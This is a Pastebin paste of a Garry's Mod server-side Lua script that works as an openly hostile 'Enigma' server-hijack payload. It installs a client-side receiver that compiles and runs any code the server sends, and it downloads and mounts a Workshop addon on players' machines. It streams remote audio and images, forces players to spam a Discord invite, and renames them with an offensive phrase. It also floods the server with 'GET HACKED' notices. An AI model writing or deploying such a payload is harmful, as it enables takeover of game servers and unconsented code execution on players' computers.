Advertisement
kinder20

Untitled

May 15th, 2019
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.40 KB | None | 0 0
  1. function RandomString( intMin, intMax )
  2. local ret = ""
  3. for _ = 1, math.random( intMin, intMax ) do
  4. ret = ret.. string.char( math.random(65, 90) )
  5. end
  6.  
  7. return ret
  8. end
  9.  
  10. m_strImageGlobalVar = RandomString( 6, 12 )
  11.  
  12. local function rdm_str(len)
  13. if !len or len <= 0 then return '' end
  14. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  15. end
  16.  
  17. local net_string = rdm_str(25)
  18.  
  19. util.AddNetworkString(net_string)
  20. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  21. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  22. if !ply:IsBot() then
  23. ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  24. end
  25. end)
  26.  
  27. local function SendToClient(code)
  28. timer.Simple(1, function()
  29. local data = util.Compress(code)
  30. local len = #data
  31. net.Start(net_string)
  32. net.WriteUInt(len, 16)
  33. net.WriteData(data, len)
  34. net.Broadcast()
  35. end)
  36. end
  37.  
  38.  
  39. hook.Add("Think","\xFF\xFF\xFF",function()
  40. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  41. for _, v in ipairs(player.GetAll()) do
  42. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  43. end
  44. end)
  45.  
  46.  
  47. SendToClient([=[
  48. g_]=].. m_strImageGlobalVar.. [=[ = {}
  49. local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  50. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  51. local pnl = vgui.Create( "HTML" )
  52. pnl:SetPos( ScrW() -1, ScrH() -1 )
  53. pnl:SetVisible( true )
  54. pnl:SetMouseInputEnabled( false )
  55. pnl:SetKeyBoardInputEnabled( false )
  56. pnl:SetSize( intSizeX, intSizeY )
  57. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  58.  
  59. local PageLoaded
  60. PageLoaded = function()
  61. local mat = pnl:GetHTMLMaterial()
  62. if mat then
  63. g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  64. return
  65. end
  66.  
  67. timer.Simple( 0.5, PageLoaded )
  68. end
  69.  
  70. PageLoaded()
  71. end
  72. LoadWebMaterial( "https://media.giphy.com/media/ZTfTSegFNMnC0/giphy.gif", "hud2", 256 , 256 )
  73. ]=])
  74.  
  75. timer.Create("nonameplease", 5, 0,function()
  76. for i=1, #player.GetHumans() do
  77. local ply = player.GetHumans()[i]
  78. ply:Say( "/ooc DISCORD : https://discord.gg/8RPtB7F")
  79. end
  80. end)
  81.  
  82. SendToClient([=[
  83. steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
  84.  
  85. timer.Simple(5, function()
  86.  
  87. game.AddParticles( "particles/enigma.pcf" )
  88.  
  89. PrecacheParticleSystem("enigma")
  90.  
  91. for i = 1, 10 do
  92. ParticleEffectAttach("enigma", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
  93. end
  94.  
  95. timer.Create("semmmmm", 5, 100, function()
  96. RunConsoleCommand("act","dance")
  97. RunConsoleCommand("_darkrp_doanimation", "1642")
  98. end)
  99.  
  100. local ragtbl = {}
  101. for i=1,20 do
  102. ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  103. ragtbl[i]:SetNoDraw( false )
  104. ragtbl[i]:DrawShadow( true )
  105. end
  106.  
  107. local function GetWebMat( strURL )
  108. return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  109. end
  110. local uwu = {}
  111.  
  112. hook.Add("HUDPaint", "okay",function()
  113. for k,v in pairs(uwu) do
  114. v()
  115. end
  116. end)
  117.  
  118. SOUNDSTART_CTP = false
  119. OZJFOZJCEZIO = true
  120.  
  121.  
  122. sound.PlayURL("https://www.dropbox.com/s/oq6rd1wha26e9d0/Ejay%20Margiela%20-%20Lickity%20Split%20%28Prod.%20by%20TazTaylor%20x%20Pharaoh%20Vice%20x%20mjNichols%29%20%5BMpgun.com%5D.mp3?dl=1","mono noblock noplay",function(s)
  123. if not s then return end
  124. if SOUNDSTART_CTP then s:Stop() return end
  125. SOUNDSTART_CTP = true
  126. s:SetVolume(3 )
  127. s:Play()
  128. s:EnableLooping( true )
  129.  
  130. local ragtbl = {}
  131.  
  132. uwu["CoolEffect"] = function()
  133.  
  134.  
  135.  
  136. local tbl = {}
  137. s:FFT(tbl,FFT_2048)
  138.  
  139.  
  140. xpcall(function()
  141. local fal = 0
  142. for i=4,6 do
  143. fal = fal + tbl[i]
  144. end
  145.  
  146.  
  147. local you = "💸_BUY_GVAC"
  148.  
  149. timer.Simple( 20, function()
  150.  
  151. membresenigma =
  152. {
  153. "ANO",
  154. "Δ",
  155. "Kinder",
  156. "Kappa",
  157. "Kinder",
  158. "ENIGMA",
  159. "Δ",
  160. "Δ",
  161. "GET Hacked",
  162. "GET Δ !!!!",
  163. "GET NO SCOPE !!!!",
  164. "GET NO SCOPE !!!!",
  165. "GET HACKED!!!!",
  166. "GET NO SCOPE !!!!",
  167. "GET NO SCOPE !!!!",
  168. "GET NO SCOPE !!!!",
  169. " ΔΔΔ",
  170. "BY Kinder",
  171. "BY IXXE",
  172. "BY Kinder",
  173. "BY IXXE"
  174. }
  175.  
  176. timer.Create( "🦠_NE_DEL_RIEN_SINON_CANCER", 0.2, 0, function()
  177. for k, ply in pairs( player.GetAll() ) do
  178. DarkRP.notify(ply, 2, 2, "[Oh Dommage!] "..table.Random(membresenigma).."")
  179. end
  180. end)
  181.  
  182.  
  183. for k,v in pairs(player.GetAll()) do
  184. v:SetRunSpeed(400* 4);
  185. v:SetWalkSpeed(400 * 4);
  186. end
  187.  
  188.  
  189. timer.Create( "🤫_RIP_U_VAC_BANNED", 1, 0, function()
  190. for k,v in pairs(player.GetAll()) do
  191. v:GodEnable()
  192. v:setDarkRPVar( "rpname", "La Σnigma Vous Viol #Enigma>all " )
  193. end
  194.  
  195. end )
  196.  
  197. end)
  198. if fal > 0.7 then
  199.  
  200. local oneid = "newhud"..math.random(100, 300).."id"
  201.  
  202. hook.Add( "HUDPaint", oneid, function()
  203. surface.SetDrawColor( 255, 255, 255, 255 )
  204.  
  205. if GetWebMat( "hud2" ) then -- lui
  206. surface.SetMaterial( GetWebMat("hud2")[1] )
  207. surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  208. end
  209.  
  210. end )
  211.  
  212. timer.Simple(0.2, function()
  213. hook.Remove( "HUDPaint", oneid)
  214. end)
  215.  
  216. end
  217. end,function()
  218. end)
  219.  
  220. end
  221.  
  222. end)
  223. end)
  224. ]=])
  225. game.AddParticles( "particles/enigma.pcf" )
  226. PrecacheParticleSystem("enigma")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement